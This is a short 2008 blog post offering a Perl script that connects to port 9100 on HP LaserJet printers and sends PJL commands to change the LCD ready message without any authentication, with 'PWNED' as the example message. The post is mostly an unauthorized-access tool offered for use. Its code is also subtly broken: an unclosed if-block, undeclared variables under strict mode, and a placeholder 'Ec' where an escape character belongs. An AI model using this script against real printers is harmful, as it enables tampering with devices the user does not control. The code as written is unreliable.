Saturday, April 26, 2008

HP Jet Direct hack

Yanno on the larger HP laserjet printers, it has that small LCD screen which shows the status messages of the printer? It will normally say "READY" when everything is operating properly.

By running this script, you can change that message without having to authenticate or do anything special.

# this will change the ready message on most (all?) hp laserjets that
# use jetdirect software and have the little LCD display
# - nwo - 4/26/2008
use strict;
use warnings;
use IO::Socket::INET;

if($ARGV[0] eq "") {
print "usage: $0 (ip) (message)\n";
print "Example: $0 PWNED\n";

$ip = $ARGV[0];
$msg = $ARGV[1];

$socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => 9100) or die "$!";

print $socket "Ec%-12345X\@PJL JOB\n";
print $socket "@PJL RDYMSG DISPLAY=\"$msg\"\n";
print $socket "@PJL EOJ\n";
print $socket "Ec%-12345X\n";

print "$ip has been successfully changed to $msg\n";

No comments: